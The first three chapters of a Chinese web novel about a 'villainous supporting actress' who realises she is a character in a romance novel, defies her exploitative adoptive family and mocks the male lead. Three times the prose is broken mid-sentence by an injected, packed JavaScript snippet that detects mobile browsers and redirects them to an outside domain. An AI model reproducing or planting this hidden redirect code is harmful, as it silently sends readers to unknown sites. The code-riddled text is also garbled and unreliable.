《恶毒女配和霸总互换身体后》 1. 第一章 这场大雨来得突然。 玻璃窗上结了一层雾气,漆黑冰冷的夜里,对面高楼星星点点的霓虹灯在雨幕中闪烁。 乔缨脸色苍白地躺在病床上。 她左侧手臂的大面积挫伤已经被包扎上了绷带,膝盖上的伤口开始结痂,大片大片的褐色碘伏在皮肤上尤为显眼。 柜子上的手机响个不停,99+的消息源源不断地在屏幕上弹出,而昏睡中的女孩皱着眉,眼球急速颤动。 混沌的梦里,是她前二十四年的人生。 她幼时被拐,幸得从人贩子手里逃脱,被人送进孤儿院,一路摸爬滚打长到十岁,终于来到了她的命运齿轮转动之日————辆气派的小轿车停在了孤儿院门口。 一对穿着考究的中年夫妇迈下汽车,神情冷漠,视线淡淡扫过孤儿院里的一群小豆芽菜,然后散漫地停留在乔缨身上。 男人抬手随意一指,道:“就她了。” 自此,麻雀一朝飞上枝头变凤凰,乔家多了个叫乔缨的养女,乔俞诚多了个叫乔缨的妹妹。 当然,乔缨很久之后才知道,他们收养她并不是出于什么善心。 彼时乔家的盛合集团陷入丑闻风波,股价大跌,乔缨的养父母为了挽回公众形象,做足了姿态。 又是做公益,又是收养女,还让养女当了品牌形象大使,一番炒作后竟然还真让他们扭转了方向,一夜之间回了春。 乔缨也借此机会进入娱乐圈,看似一路顺风顺水,星途坦荡。 可这都是假象。 乔父乔母对她并无感情。 自她入圈以来,乔氏夫妇以监护之名,行控制之实,将乔缨的收入牢牢攥在手里,俨然只把她当作赚钱的噱头和工具。 最要命的是,乔俞诚极其讨厌这个父母带回来的妹妹,认为她鸠占鹊巢、动机不纯,十几年如一日地实施冷暴力。 更遑论乔缨娱乐圈女明星的身份,在后期更是被乔家人当作商务来往的资源,不厌其烦地要求她去陪酒卖笑,只把她看成一件价值颇高的商品,而非珍重爱惜的家人。 他们就这样吸着她的血肉上位,而对于在福利院长大的乔缨来说,最为渴求的亲情与温暖,在乔家人身上注定无法实现。 她卑微祈求,小心讨好,只会换来冷眼,她的生活就像泡沫一样,表面上套着一层光鲜亮丽的皮,实则摇摇欲坠,一戳就破。 高贵的身份改变不了泥腿子骨子里的卑劣,所以她黑化了,成了人厌狗憎的疯女人。 以上,便是恶毒女配乔缨的背景资料。 乔缨双手抱臂,虚幻的身影站在雾里,眉头快要皱出一道马里亚纳海沟。 说实话,以第三人称观赏自己前二十四年的生活是一件很尴尬的事情,其尴尬程度不亚于看熟人演戏。 但更令她尴尬的是,自己所在的世界居然是本娱乐圈甜宠小说,名字居然还叫《一胎七宝:影帝娇妻哪里逃》。 好消息,一胎七宝和乔缨没关系。 坏消息,和乔缨没关系是因为她不配,她是反派小炮灰。 和众多无脑小说中的经典恶毒女配一样,乔缨只是一个为了凸显女主善良正直又漂亮的工具人。 作为原著男主———影帝沈颐的青梅竹马兼未婚妻,她娇纵蛮横,她恶毒卑鄙,她又蠢又坏,她一面对女主就降智,像是被夺舍了一样屡战屡败,屡败屡战。 不过要问女主是谁——— 嗯,从abb的名字就能看出来,当然是娱乐圈新晋小花阮绵绵。 目前的剧情已经过半,男女主感情升温,恶毒女配即将下线,以前作的妖被翻出旧账,大字报的黑料在微博疯转几万条。 而就在今天,乔缨将会因为被拍到和金主的不雅照而遭到封杀,继而被乔家赶出家门,和沈颐解除婚约,商务合作和剧组邀约纷纷撤销,巨额债务压在身上——— 最终,在半个月后,乔缨因不堪网络暴力选择在出租屋内割腕自杀。 …… 不得不说,死得很窝囊。 找把刀和这群人同归于尽都比这破结局好。 病房大门隔绝了屋外的嘈杂,有谁在高声喧哗着什么,模模糊糊地传进乔缨的耳朵里。 床单下的手指一动,巨大的疼痛包裹着细细密密的痒意,通过逐渐苏醒的神经传入一片混沌的大脑。 窗外,一道刺眼的闪电划过,雷声隆隆,乔缨的脑子一阵抽痛。 她蓦地睁开了眼睛,像是溺水的人刚刚被捞上岸,大口呼吸着新鲜空气。 片刻后,乔缨抹了把脸,表情平静。 爹的,原来她是恶毒女配,她还以为自己脑子有病呢。 不对,脑子有病的人应该是原著作者,否则写不出来这么神经的角色。 试问,一个自幼被收养的孤儿,在这种冷漠的家庭氛围里,怎么可能长成骄纵跋扈的性子? 她应该卑微又讨好,藏起自己那颗缝缝补补的心,无私奉献;或者冷情又虚伪,踩着这些烂人上位,痛快畅意地敲骨吸髓。 而原著里的乔缨,一边当被吸血的圣母,一边当做坏事的恶人,人设捏得像是一个在赤道一个在北极,整得比波粒二象性还复杂。 更别提在下线前,她说的最后一句话,居然是———“我只是想有人爱我!” 好恶俗的桥段,好恶心的设定。 所以在很长一段时间里,这种矛盾的人设都让她的情绪不断拉扯,有时候她真的怀疑自己有精神分裂症。 比如她明明十分憎恶乔家,比如她明明非常讨厌沈颐。 有时候她上一秒还在骂人,下一秒就扬起笑脸讨好,连她自己都不知道为什么这么做,这感觉非常让人抓狂。 乔缨回想起以往种种怪异之处,突然释怀地笑了。 原来自己生活了二十多年的地方,只是一个由word文档和四号宋体字构成的傻x小说啊? 那没事了。 放在床柜上的手机又震动了几下。 电话铃声在空旷的屋子里响个不停,本是安静舒缓的音乐却听得人一阵烦躁,比苹果手机的闹铃还让人神经衰弱。 手机兀自响了半分钟后,乔缨终于忍无可忍地攥紧了床单,挣扎着坐起来,看到来电人后表情一怔。 「乔盛合」,正是她的便宜爹。 简而言之,是个大畜生。 正如原著所说,乔盛合今晚把自己哄骗去了商务酒宴。 或许是她本人的意志太过强大,被剧情操控坐到王总车上后,她也不知道从哪里冒出来一股冲动,掀开门从车上跳了下去,滚了一身血,被路过的好心人送进了医院。 惊慌失措的王总赶紧逃离了现场,至于有没有人拍到他———消息反正都会被压下去,要么把脏水往她身上泼。 就算拍到也无所谓,这种事倒也没几个人在乎男主角是谁。 想到这里,乔缨的手指在屏幕上飞快滑动,乔盛合的怒吼立即穿透屏幕,唾沫星子仿佛隔空飞到了她脸上。 “让你去陪王总,你倒好,惹出这么大的事!你现在在哪里?赶紧给我滚回来!” 乔缨掏了掏耳朵,嫌恶地把手机拿远点,眼里闪过鄙夷的神色:“那不好吧?您老都还没出殡,我怎么敢回家吃席。” 电话那头的乔盛合鼻子都气歪了。 虽然乔缨向来不服管教,但她居然有胆子跳车,还给他惹上这么大一个麻烦。 他现在又要忙着公关,又要安抚王总,一个头有两个大,偏偏始作俑者还一副无所谓的样子,听着就来气。 乔盛合语气不耐地下了最后通牒:“我不管你现在在哪里,下周的商务宴你必须来参加,给王总赔礼道歉。” “叫你声爹,你还真把自己当皇帝了。” 乔缨打了个哈欠,和乔盛合紧绷的情绪不同,回答得懒散又敷衍:“行了,个臭拉皮条的还抖上鸡冠子了,我没报警你就偷着乐吧。” 乔盛合听罢,极其轻蔑地冷哼一声,气急败坏挂断了电话。 乔缨自然也懂他这声冷哼的意思。 酒是她自己喝的,车是她自己上的,任谁看都是你情我愿但中途反悔仙人跳的剧情。 而且没有乔盛合和王总合谋的证据,报警也没用。 狗屎剧情杀。 用这种下作的方式侮辱女配,诅咒作者一辈子发不了财。 乔缨摸着心脏,第一次觉得内心的鄙夷与愤怒无比真实,是那种三魂七魄归位后的真实。 谁懂呢,她以为自己是美强惨,结果她只是别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793626|158246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人故事里的边角料。 只是一个平凡的、普通的,炮灰角色。 “算球,我原来不是人。” 乔缨看着玻璃窗上的雾气,痛心疾首:“一个小时五千块的心理医生,我算是白看了。” — “病人现在需要休息。” 病房外,王书瑶极力按下心中想骂人的冲动,朝人群外几个值班的同事使了个眼色。 保安很快到达23楼,费了好一番大力气才把这群闻风而动的狗仔记者赶出医院,骂骂咧咧地说了句脏话。 “也不知道打那儿来的,跟吸血蚊子一样嗡嗡嗡,吵得头都疼了。” 他朝病房里瞥去一眼,极为不满,“这里头住的哪位大人物啊?这么大排场?” “哎呀,叔叔你不上网所以不知道。” 有个性子活泼的实习护士张嘴就答,被王书瑶一个眼神制止。 她吓得吞下了后半句话,支支吾吾道:“就......就明星嘛,叔你别问了,小心被谁听到,给你发律师函。” 周围立即有人窃窃私语。 “嘁,要不是整天挂在热搜上,谁认识她?” “所以她是拍戏受的伤吗?给她包扎的时候,看起来像是从车上跳下来摔的。” “虽然不认识,但最近骂她的人好像挺多。” “别八卦了,都没自己的事做吗?”王书瑶板着脸,“医嘱核对了吗?液体清点了吗?表格都填了?字都签了?是不是工作不饱和?” 作为这里资历最老的医生,王书瑶的话成功让七嘴八舌的护士们闭了嘴,纷纷低着头快速溜回岗位,生怕被她教训。 王书瑶叹口气,拿着笔和病例本推门而入。 屋内有盏接触不良的灯管,一直明明灭灭闪个不停,晃眼睛得很。 “啪嗒”一声,王书瑶按下了门口的开关,亮堂的病房里光线顿时暗下去不少。 “医生,别关灯,我有点怕黑。” 床上的人缓慢转过了头,厚重暖和的被子已经被掀到床尾,只剩下一层单薄的衣服裹在她身上。 一张精致的脸因失血过多而苍白,薄薄的一层皮肉附在深邃的轮廓上,眉眼有种扑面而来的漂亮。 一款很适合演女疯子的长相。 王书瑶重新打开灯,拿着病历本走到床边,问道:“你醒了啊,身体有没有哪里不舒服?” 乔缨摇头。 “你手臂和大腿上有大面积挫伤,头部轻微脑震荡,需要住院观察几天。” 王书瑶顿了顿,又道:“你家人的手机一直占线,虽然伤得不重,最好还是通知亲属让他们过来照料一下。” 可别。 这些人不要她命就得谢天谢地了。 乔缨没有回答,只是抿着唇沉默半晌,轻声问道:“请问是谁把我送到医院的?” 刚巧,一个身高腿长的男人从门前经过。 “喏,就那位。”王书瑶用头点了点病房外。 乔缨顺着她的视线看了过去,因为近视,只能模模糊糊看见一个高大的人影侧身站在门外。 出于好奇,她打开手机摄像头,对着那人的侧影照了去,放大画面,津津有味地看了起来。 宽肩窄腰,身形挺拔,西服裤妥帖包裹着翘臀和一双修长笔直的腿。 男人一只手拿着手机,微微皱着眉,俊美周正的侧脸在死亡顶光灯下都帅得人神共愤。 腿好长,长得像有点儿像磷脂分子。 这是乔缨对他的第一印象。 大冷天的还穿西装,这位卖保险的朋友好敬业地在坚守工作岗位。 这是乔缨对他的第二印象。 电话那头的人不知道说了什么,让磷脂分子本就冷淡的眸子更是罩上一层薄霜。 他整张脸黑了下来,薄唇轻启,优雅地吐出一句令无数社畜胆寒的话:“方案,拿回去重做。” 乔缨意兴阑珊地咂咂嘴。 原来又是个霸总,班味儿还挺浓。 走廊上,一个助理模样的人脚步匆匆走了过来,他手里抱着大衣,身后还跟着一个戴口罩的男人。 看清口罩男的脸后,乔缨忍不住翻了自觉醒以来的第一个白眼,低声咒骂:“天杀的,哪来的狗。” 2. 第二章 博尔赫斯说过,爱上一个人,就好像创造了一个信仰,侍奉着一位随时会陨落的神明。 那么对乔缨来说,沈颐于她而言无异于邪教头子,她的爱为他镀上金身,却让自己陷入深渊泥沼。 原著中写道,在她贫瘠的童年里,沈颐是唯一关心过她的人。 所以乔缨对沈颐有着病态的依赖,仿佛只有紧紧抓住他这根稻草,才能在沉闷的生活里偶尔喘口气。 如若这位神明一直毫无回应也就罢了,可沈颐的人设偏偏是个不懂爱的多情浪子。 他的心已经死了,但他的嘴巴没死,他还会强吻别人,可怕得很。 作为沈家的私生子,他也有一个饱受欺凌的悲惨童年,同样在一个毫无感情且冰冷的家庭环境里长大。 他没有安全感,具体表现方式为从一根小苦瓜质变为一根烂黄瓜。 他寂寞,他孤独,他缺爱,他从小到大身边女伴不断,和不同女人的爱恨纠葛导致暗恋他的女主阮绵绵误会不断,而此类情节则占据了本书的大半篇幅。 多么酸涩,多么拉扯! 这感情戏就像小学数学题里一边放水一边进水的老师,又像井里白天爬五米晚上往下掉三米的蜗牛,人与动物的行为,居然神奇地达成了高度的一致。 而因着相似的经历,他对乔缨有着复杂的情感,他觉得乔缨是他的同类,能够理解他,包容他,他默许着乔缨的接近,这让他有种同类取暖的安心。 可毫无边界感的亲密会给人带来错觉,沈颐也享受着这种错觉带来的情绪价值。 从女配视角来看,沈颐毫无疑问是个又当又立的懦夫。 他不主动,不拒绝,不负责,摇摆不定,浪荡不羁,问就是不懂爱,问就是她们是自愿的,我什么都没做,都怪她们自己要贴上来。 而到了后期,女配角们更是男主表衷心凹深情人设的工具,自愿或不自愿地成为男女主play的一环。 你看,连这么难搞的女人都喜欢我,我都没动摇,浪子回头晓得伐啦? 一场盛大的三角测量,一场NPD患者操纵血包的狂欢。 乔缨真的很想对作者说,你的好大儿其实没那么招人喜欢。 原著中所谓沈颐对她的关心,不过也就是在她受欺负后说了几句假惺惺的漂亮话而已,还不及在书里担当背景板的保姆管家们来得真情实感。 况且,孤儿院长大的早熟小孩是非常懂人情冷暖的。 沈颐看她的眼神里总是带着某种微妙的情绪,像是弱小者看到更弱者后卑劣的庆幸感,每一次对视都让乔缨生理不适。 嘴臭爹味男,人间泰迪精,趣味低级,感情廉价,脾气暴躁,专断蛮横,薄情寡义。 这种货色到底怎么当上万人迷男主的,反正她可不好这一口。 这才是乔缨作为恶毒女配的真实心路历程。 房门被人轻敲三下。 沈颐戴着鸭舌帽和口罩,包得严严实实,推开门脚步匆匆地踏了进来。 见病房里有人,沈颐十分有演技地顿了顿脚步。 他放轻声音,换上温和笑容,对着王书瑶道:“你好,我是患者的家属,是她......哥哥的朋友。” 乔缨嗤笑一声。 王书瑶觉得这人有些眼熟,但也不打算掺和别人的家务事。 眼见着病房内的气氛僵持,她嘱咐了几句注意事项后就退了出去。 见人走了,沈颐摘下口罩和帽子,迅速板起脸,双手抱胸,居高临下地训斥: “你到底怎么回事?” “我怎么了?” 乔缨一脸莫名,寻思着我也没刨你家祖坟啊。 “我对你太失望了,你为了和绵绵抢角色竟然自甘下贱到这种程度。” “你别以为我不知道,王继盛是《在日落时恋爱》的投资方吧?这个时候去抱他大腿,你的心思还用猜吗?” 沈颐眉头皱成了川字,舌头顶了顶腮帮子,下颌线绷紧,厉声质问的声音在屋内回荡。 “我这不是没傍上吗?你急个什么?” 乔缨也皱起眉,语气中的嘲讽比起沈颐有过之而无不及。 真是屎壳螂遇到涨肚的,来得正好。 乔缨眼珠子转了转,想到一个撇清关系的好主意。 “王总说他很欣赏你,今天邀我吃饭,也是想让我把你介绍给他。” 她挑着眉,慢悠悠地说:“亏我还想着给你拉资源呢,你居然就是这么看我的。” 听到这话,沈颐的脸上明显浮现出一丝动摇。 身为既得利益者,他一下子哑火了,也忘记道德谴责了,只将信将疑地问: “你说的是真的吗?那你为什么会跳车?” “你又不是不知道,”乔缨指了指自己的脑袋,“我这里有病的。” 当年被拐走后,人贩子把她关进了地下室,听到风声就自己跑路了。 留下乔缨在地下室饿了整整三天三夜,才被邻居发现解救出来。 从那以后她就患上了非常严重的幽闭恐惧症,偶尔坐汽车时都会发作。 沈颐明显是知道这一点的。 他愣了愣,对此没有任何愧疚感,满心满眼都是搭上大佬获取资源的急切。 “我以为......对了,王总有说他什么时候和我见面吗?” “帝爵酒店2806。” 乔缨回忆着原著里她被拍到照片的酒店房间,还是给沈颐打了一剂预防针:“我不保证他今天会不会去,毕竟出了这么大的事。” 沈颐听罢,身体便下意识往房门挪了挪,眼睛瞟了一眼病床上的乔缨。 为了让自己吃软饭的嘴脸没那么难看,沈颐憋了半晌才不情不愿挤出来两个字:“谢谢。” 乔缨翘起二郎腿隔开他的触碰,可还没等她回话,沈颐便戴上口罩和帽子急不可耐地走了。 从来不会道歉,连感谢都如此敷衍。 真是从里到外、从上到下,方方面面都很完蛋的人。 还男主呢,这不傻逼吗? 乔缨鄙夷地摇摇头,躺回床上,打开手机处理消息。 果不其然,今天这一出没在网络上掀起任何风浪。 不知是运气好还是钞能力,业内狗仔只知道乔缨今天莫名其妙受伤进了医院。 至于跳车和王继盛就仿佛是平行时空里发生的事件一样,消失得无影无踪。 微信里,工作室的群聊中都在关心她的伤势,乔缨拍了病历单,发到群里报了个平安: 【乔缨:谢谢大家关心,我没事,遇到了一点意外,休息几天就好。】 群里很快热闹起来: 【莫莉:终于出现了!你再不吭声我们都要报警了!】 【陈澄:缨姐,你还活着!】 【喻季年:看起来好严重啊,乔缨姐你是不是又犯病了?需要我去医院陪你吗?】 看到最后这条消息,乔缨想了想,回复道: 【乔缨:好啊,医生说我有轻微脑震荡,还要再观察两天,你替我带几件换洗衣物过来。】 喻季年是乔缨的生活助理,对她的病症很清楚,平日里但凡要去幽闭场所,都是她陪着一起去。 因为这件事知道的人少,所以不少业内人士吐槽乔缨耍大牌,走哪儿都带着助理。 对此,乔缨也懒得解释。 给喻季年发完跑路费的红包,经纪人陈意芝便打来了视频通话。 她询问了乔缨的身体状况,听到没有大碍后,单刀直入地开始沟通工作: “听说阮绵绵也在接触《在日落时恋爱》剧组,你是什么看法?还对这个本子有意向吗?” 乔缨摇头,哪怕没有王继盛,她也不会参演这部剧。 “不争了,让她和沈颐去演吧。” 她哂笑道:“我看了剧本,男女主一个京圈太子,一个北美佛女,封建迷信全占了个完,民主科学是一个不沾,我建议编剧还是去初中回炉重造比较好。” 陈意芝听得一阵头疼。 这大小姐一张嘴跟淬了毒一样,能在娱乐圈活到现在也是奇迹。 她捏捏眉心,找出一份pdf文档发了过去,道:“还有一个综艺邀约,但我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793627|158246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不建议你参加,太容易招骂。” 可听她这样说,乔缨反而来了兴趣。 她打开文档浏览了一遍,里面的内容全是剧本台词。 看着她疑惑的眼神,陈意芝叹了口气,开口解释:“这是一档明星恋综,有剧本,导演打算让你演一个尖酸刻薄,非常讨人嫌的角色。” “所以节目播出后你本人百分百会被骂上热搜。好处是出场费非常可观,只需要录十天,有话题度,性价比很高,风险也很大。” “你的意思是,我这十天,不用在乎别人眼光,想骂谁骂谁,想怼谁怼谁,然后还有钱拿?” 乔缨不可思议地睁大双眼。 天底下还有这种好事? 陈意芝点头,毕竟黑红也是红,现在影视寒冬,如果参加这档恋综,话题度肯定是不愁的。 唯一需要担心的,是播出时观众的骂声会不会影响到本人。 哪想到乔缨眼睛一亮,想也不想地就答应下来:“没问题,我本身就尖酸刻薄低情商。” 她又仔细浏览了一遍文档,不满地摇摇头:“不对,有问题。这几句台词还不够刻薄,人设没立起来,节目组到底懂不懂什么叫恶毒女配啊?” 大妹子,倒也不必这么雀跃。 陈意芝扶额:“等嘉宾都确定了,大概一个月后开拍,在此之前还有几个通告要赶,也快到进组的时间了,你先好好休息,养好精神。” 做好了工作交接,她还有其他的事情要忙,便不再打扰,挂断了视频。 乔缨换上病号服,顿时觉得有些无聊,刚好雨停了,她打算下楼遛遛弯儿,顺便等待喻季年。 今天医院的人不知怎么有些多,一打听才知道有好几家餐厅闹食物中毒,救护车一趟趟地往里拉人,门口堵了好长一排私家车。 兜里没有口罩,虽然大晚上的看不清脸,以防万一乔缨还是在头上盖了件衣服,站到医院门口的水泥台子上呼吸了几口新鲜空气。 泥土和青草混杂的气味揉碎在雨后潮湿的空气里,晚风卷起发丝,让整个人都忍不住舒展开来。 乔缨拿出手机,从王书瑶那里知道了长腿帅哥的联系方式,想着于情于理也应该感谢一下对方,又怕时间太晚打扰到人家休息,索性在微信里搜索号码,请求添加好友。 做完这些,她闲得没事开始指挥堵在入口的车辆,头上盖着一件沾血的衣服,两只手在黑暗里比比划划。 不远处的一辆迈巴赫内,裴砚知正在骂人。 “什么抽离透传复用打法过程抓手效果闭环,我是来谈项目不是来听你们放屁的,找个会说人话的来。” 他烦躁地捏捏眉心,每次和互联网公司的这群人打交道都有种想杀人的冲动。 不能生气,二十五岁是总裁最关键的一年,他要当一个情绪稳定的老板。 他闭着眼睛默念,手机忽然一震,微信里弹出一条好友申请。 【Dioretsa:您好,我是乔缨,谢谢您今天送我进医院,方便加个联系方式吗?】 看着这个微信名字,裴砚知眉头微挑。 Dioretsa,一颗逆行的小行星,因轨道公转方向与大型行星相反,所以将其命名为行星“Asteroid”的逆写。 头像则是一张她自己的照片,地点大概是在城郊的哪个高坡上。 女孩侧身倚靠在机车旁,长发随风荡起,纠缠在城市霓虹和穹顶星光中。 堵了很久的车流终于开始缓缓向前移动。 裴砚知唇角弯起微小的弧度,点击了通过,思考着待会儿该怎么说开场白,不经意间往车窗外瞥了一眼。 如电影慢镜头一般,在倒退的背景里,他看到医院门口有一个头上披着血衣的女疯子被护士架着拖走了。 裴砚知面无表情地移开视线。 啧,现代人的精神状态真是越来越堪忧了。 十分钟后,喻季年带着行李箱来到医院,举着手机四处张望。 “姐,你在哪儿呢?我没看见你呀?” 乔缨沉默半晌,答道:“18楼,精神科。” 3. 第三章 溜进自己家不是什么难事,难的是怎么神不知鬼不觉地进去。 譬如乔缨现在正蹲在草丛里,头上沾着几片杂草和树叶,目光炯炯地盯着她家大别野二楼的窗户。 别墅里,正在举行一场小型宴会。 佣人十分忙碌地从侧门进进出出,推着金色的送餐车,往露天花园里摆上茶歇点心,或是抱着酒瓶脚步匆匆地往主屋赶去。 顺着他们的身影往里看,不少商界名流正端着酒杯聚在一楼宴会厅,一部分人身边还跟着几个圈内的熟面孔。 天色渐晚,后院泳池的灯光闪烁,七彩灯球转个不停,有歌手正抱着吉他唱歌,现场一片觥筹交错,灯红酒绿。 相安无事地待了几天后,乔缨确定原著的剧情对她的控制已经彻底失效。 今天再看着人群中间那些谈笑风生的熟悉面孔时,她突然产生了一种恍如隔世的感觉。 在这个一切都被设定好的世界里,只有她打破了那片看不见的墙壁。 虽然在作者的淫威下,反派乔缨最终被主角反复碾压,四仰八叉,皮都展开了,人也破防了。 但今时不同往日。 从现在开始,她可是手握剧本的大反派、主角光环的破壁人、爱情路上的绊脚石、万众炮灰的解放者、一胎七宝生物学奇迹的见证人! 乔缨由此产生了一种智识上的优越感。 呵,你们都是虫子! 她蹲在草丛里,优雅地一甩头发,戴上帽子和口罩,悉悉索索蹿到后院另一侧的矮墙边,手脚并用爬了上去。 动作拉扯到身上的伤口,乔缨“嘶”了一声,仍旧咬牙跳了下去,忍着痛意利落地滚到墙角处的阴影里。 这几天她和乔家始终处于断联的状态,今天之所以回来,是想处理一些历史遗留问题,以及收拾细软跑路。 乔缨根据记忆画了一张乔家别墅的平面图,盯着研究了好久,发现这个角落地处偏僻,又因远离泳池,没什么人经过,是个非法闯入的好地方。 伤口处仿佛有血液渗出,她伸手摸了摸膝盖,果不其然是一片粘腻的触感,心里暗骂一声倒霉。 一阵脚步声由远及近而来,乔缨停下起身的动作,快速躲到花坛后,猫着腰听墙角。 两个人影端着酒杯停在距离她半米远的地方,拉长的侧影投射在她身后的矮墙上。 她屏住呼吸,在看清这俩人长相的瞬间差点破功,旋即飞速用手捂住了嘴巴。 乔俞诚今天穿得人模狗样的。 一身白衬衫搭配着西装裤,袖口高高挽起,外套随意搭在手臂上,颇有心机地不经意露出他的超绝肌肉线条。 他解掉了领带,连白衬衫也松下了几颗扣子,胸口处敞开一条犹抱琵琶半遮面的缝。 在泳池边故意穿成这样博眼球,今年春晚你去唱好不好? 乔缨眼角抽了抽。 这种努力让自己看起来毫不费力的做作感让她不禁想起了一位故人。 还男二呢,这不傻逼吗? 他旁边站着的那位也是老熟人。 在娱乐圈各色美女中,阮绵绵的长相只能算普通,唯有一双湿漉漉的小鹿眼睛格外惹人怜爱,让整张脸增色了不少。 加上团队也有意把她往初恋女友感的方向打造,凭借着小清新接地气的人设吸引了不少粉丝。 原著里,她和沈颐是大学同学,虽然只有过一面之缘,但阮绵绵一直默默关注着沈颐,旁观他在不同的女人之间周旋,痛苦却又不愿意放手,所以化暗恋为动力,一步一步向她的少年郎靠近。 但现实嘛...... 乔缨回忆了一下以往阮绵绵的言行举止,觉得她并不是这么励志的人设,性格也一言难尽。 乔缨揉了揉酸痛的小腿,耐着性子听两人寒暄。 在单方面吹了十分钟的彩虹屁后,乔俞诚动作优雅地抿了一口红酒,终于开始进入正题。 “绵绵,你和乔缨是好朋友,你知道她现在在哪里吗?”乔俞诚眉头轻皱,眼神里满是担忧。 这几天,他和爸给乔缨打了无数通电话,却怎么也联系不上她。 等父子俩怒气冲冲杀到病房后,居然被告知她第二天就转院了,连经纪人都不知道她现在在哪里。 “不管怎么说,她都是我妹妹,父亲那边我回去沟通,只要乔缨平安无事就好。” 乔俞诚叹气,摆出一副老大哥的嘴脸,似乎真的很担心她的死活一样。 用我来立人设在喜欢的人面前博好感,诚狗你是真的恶心。 乔缨暗骂一声。 和他斗智斗勇十几年,乔缨十分清楚乔俞诚就是个人面兽心的混蛋。 虽然他在外总装作一副温和无害的模样,实际上背地里最爱捅人刀子,绝对是个名副其实的阴湿男。 遥想当初她刚被领养的时候,乔家为了作秀总是带她去各种宴会露脸。 而对她心生不满的乔俞诚,则会一边端着天真懵懂的笑容和长辈打招呼,一边面不改色暗中掐乔缨的胳膊。 直到她痛得忍不住哇哇大哭,乔俞诚才摆出十分担忧的眼神,假惺惺地问她怎么了,是不是不习惯这种场合。 乔缨也以牙还牙,从养母李娆那里偷了几瓶安眠药,悄悄下到乔俞诚的牛奶里,等他昏迷就撬开门锁蒙着枕头揍他一顿。 当他第二天鼻青脸肿地爬起床时,她再忧心仲仲地问他是不是晚上偷摸出去和人打架了。 乔盛合对儿子的家教极其严厉,又因为乔俞诚轻佻的性子,他总怀疑儿子是不是到了青春叛逆期在外面鬼混去了,每次都免不了一顿训斥责骂。 那段时间乔俞诚过得无比痛苦,安眠药和无止尽的折磨让他精神恍惚。 他脑子又不灵光,也没想着装个监控查清楚,甚至还一度以为自己是撞了鬼。 后来他干脆请了几个大师来家里驱邪,有个老道士捋了把胡子,意味深长地跟他说:“你妹妹八字硬,命中带煞,谁和她作对谁就会倒霉。” 直到那天,这场幼稚又诡异的斗争才就此结束,乔家对乔缨的折磨也从物理虐待转向了精神控制。 时间回到现在。 阮绵绵眉头似蹙非蹙,语气软糯地劝道:“乔缨姐就是这样,俞诚哥哥也不要太自责了,总有一天她会明白你的好意的。” 她抿抿唇,似是斟酌了一下这话该不该说。 犹豫再三后,幽幽怨怨一笑,淡淡开口道:“虽然我一直觉得人要脚踏实地做事,才能心安理得地享受成果,但......或许走捷径才是聪明人的做法吧,我学不来这些。我的坚持在这样的环境里看起来很蠢,对不对?” 好高明的话术,句句不提拉踩,但句句都在拉踩,你也是人淡如菊上了。 乔缨忍不住翻了个白眼。 你当然不用走捷径,你特么资源全靠主角团送,坏事是别人干的,好处是被迫得的,就你清清白白不争不抢,真是脸都不要了。 听到这话,乔俞诚不出所料地面色一沉,立马不赞同地刮刮她的鼻子,佯装生气地教训道:“你怎么能和乔缨比,我要是有你这种妹妹,做梦都会笑醒。” 你小子,玩骨科是吧? 乔缨看向阮绵绵,她仍旧瞪着一双小鹿眼,轻轻锤了下乔俞诚的手臂,俏皮道:“谁要当你妹妹。” 乔俞诚宠溺一笑,随后便像突然想起来什么似的,抬腕看了看手表,温声道:“爸让我去书房一趟,现在时间差不多了,我们走吧。” 见俩人磨磨唧唧半天终于肯离开了,乔缨扶着墙站起身,小腿跟电视机雪花一样麻得不行,缓了几分钟后走到了别墅侧门。 这道门的位置十分隐蔽,平日里只有往厨房运送食材时才会开启,且刚好处于监控的死角,可以顺着墙壁上的突起爬到门廊上方,从窗户进入二楼的杂物间。 说干就干,乔缨弯腰把鞋带紧了紧,戴上一双攀岩专用的手套,计算着行动轨迹。 墙边刚好放有几个空置的木箱和花架,叠起来的高度正好能够到棚顶边缘。 她动作利落地搭好路线,爬到最上方后找准角度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793628|158246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用力往下一蹬,花架和木箱顿时散落一地。 别墅内声音嘈杂,这点动静几乎微不可闻。 看来没人发现她? 正当乔缨松了一口气时,脚下的门突然被人打开,有谁从屋内走了出来。 中年女人看着一地的狼藉,狐疑地自言自语道:“我记得明明放好了啊?今晚的风有这么大吗?” 此人是乔家的帮厨之一,在这里工作了好些年,对乔缨非常熟悉。 乔缨胆战心惊地看着她往外走了两步,身体尽力贴着拱形的屋顶。 正当她即将暴露在帮厨的视野内时,草坪上忽然传来一声猫叫。 